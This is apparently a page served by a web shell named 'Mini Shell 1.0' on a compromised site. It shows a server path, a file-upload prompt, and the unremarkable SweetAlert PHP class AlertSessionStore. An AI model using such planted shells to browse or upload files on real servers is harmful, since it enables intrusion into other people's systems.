HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /var/www/devs.lapieza.net/vendor/realrashid/sweet-alert/src/Storage/
Upload File :
Current File : /var/www/devs.lapieza.net/vendor/realrashid/sweet-alert/src/Storage/AlertSessionStore.php
<?php

namespace RealRashid\SweetAlert\Storage;

use Illuminate\Session\Store;

class AlertSessionStore implements SessionStore
{
    /**
     * @var Store
     */
    private $session;

    public function __construct(Store $session)
    {
        $this->session = $session;
    }

    /**
     * Set a session key and value.
     *
     * @param  mixed $key
     * @param  string $data
     *
     * @return mixed
     */
    public function flash($key, $data)
    {
        $this->session->flash($key, $data);
    }

    /**
     * Put a session key and value.
     *
     * @param  mixed $key
     * @param  string $data
     *
     * @return mixed
     */
    public function put($key, $data)
    {
        $this->session->put($key, $data);
    }

    // /**
    //  * Flash multiple key/value pairs.
    //  *
    //  * @param  array  $data
    //  * @return void
    //  */
    // public function flashMany(array $data)
    // {
    //     foreach ($data as $key => $value) {
    //         $this->flash($key, $value);
    //     }
    // }
    //
    // /**
    //  * Get a value from session storage.
    //  *
    //  * @param  string $key
    //  * @return string
    //  */
    // public function get($key)
    // {
    //     return $this->session->get($key);
    // }
}